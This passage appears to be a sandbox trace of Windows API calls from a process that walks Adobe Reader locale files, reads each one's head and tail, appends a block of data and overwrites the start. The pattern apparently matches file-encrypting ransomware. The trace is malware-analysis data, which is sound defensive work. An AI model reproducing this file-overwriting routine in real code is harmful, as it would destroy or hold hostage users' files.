dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.675] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.675] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x5c00 [0038.675] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.676] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.676] ReleaseMutex (hMutex=0x128) returned 1 [0038.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUS", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUS", lpUsedDefaultChar=0x0) returned 10 [0038.676] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.677] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4c00 [0038.677] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.678] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4c00 [0038.678] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.678] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.678] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.679] CloseHandle (hObject=0x1ac) returned 1 [0038.679] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Annots.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\annots.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.931] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.931] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x79800 [0038.931] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.931] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.931] ReleaseMutex (hMutex=0x128) returned 1 [0038.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SKY", lpUsedDefaultChar=0x0) returned 10 [0038.931] ReadFile (in: hFile=0x12c, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.988] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x78800 [0038.989] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.001] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x78800 [0039.002] WriteFile (in: hFile=0x12c, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.002] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.002] WriteFile (in: hFile=0x12c, lpBuffer=0x27c7b68*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27c7b68*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.002] CloseHandle (hObject=0x12c) returned 1 [0039.002] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\pddom.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\pddom.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.015] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.015] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2c00 [0039.015] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.015] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.016] ReleaseMutex (hMutex=0x128) returned 1 [0039.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x1e633ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SKY", lpUsedDefaultChar=0x0) returned 9 [0039.016] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.030] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c00 [0039.030] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.030] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c00 [0039.031] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.031] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.031] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.031] CloseHandle (hObject=0x1a0) returned 1 [0039.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Spelling.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\spelling.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.043] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.043] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2800 [0039.043] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.043] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.043] ReleaseMutex (hMutex=0x128) returned 1 [0039.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SKY", lpUsedDefaultChar=0x0) returned 12 [0039.043] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.055] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1800 [0039.056] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.056] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1800 [0039.056] WriteFile (in: hFile=0x12c, lpBuffer=0x1d81c48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d81c48*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.056] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.056] WriteFile (in: hFile=0x12c, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.056] CloseHandle (hObject=0x12c) returned 1 [0039.056] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\DVA.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\dva.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.056] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.057] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4600 [0039.057] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.057] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.057] ReleaseMutex (hMutex=0x128) returned 1 [0039.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x1e6aa14, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SLV", lpUsedDefaultChar=0x0) returned 7 [0039.057] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.065] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3600 [0039.065] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.073] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3600 [0039.073] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.073] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.073] WriteFile (in: hFile=0x12c, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.073] CloseHandle (hObject=0x12c) returned 1 [0039.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Reflow.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\reflow.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.084] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.084] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1200 [0039.084] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.084] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.084] ReleaseMutex (hMutex=0x128) returned 1 [0039.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.SLV", lpUsedDefaultChar=0x0) returned 10 [0039.085] ReadFile (in: hFile=0x12c, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0039.095] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.095] WriteFile (in: hFile=0x12c, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0039.095] CloseHandle (hObject=0x12c) returned 1 [0039.095] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Acroform.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\acroform.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.095] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.096] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x63e00 [0039.096] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.096] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.096] ReleaseMutex (hMutex=0x128) returned 1 [0039.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SVE", lpUsedDefaultChar=0x0) returned 12 [0039.096] ReadFile (in: hFile=0x12c, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.108] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x62e00 [0039.108] ReadFile (in: hFile=0x12c, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.118] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x62e00 [0039.118] WriteFile (in: hFile=0x12c, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.119] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.119] WriteFile (in: hFile=0x12c, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.119] CloseHandle (hObject=0x12c) returned 1 [0039.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\makeaccessible.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\makeaccessible.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.120] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.120] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x11e00 [0039.120] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.120] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.120] ReleaseMutex (hMutex=0x128) returned 1 [0039.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0039.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x1e78ab4, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SVE", lpUsedDefaultChar=0x0) returned 18 [0039.120] ReadFile (in: hFile=0x12c, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.127] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x10e00 [0039.127] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.128] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x10e00 [0039.128] WriteFile (in: hFile=0x12c, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.128] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.128] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.128] CloseHandle (hObject=0x12c) returned 1 [0039.128] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 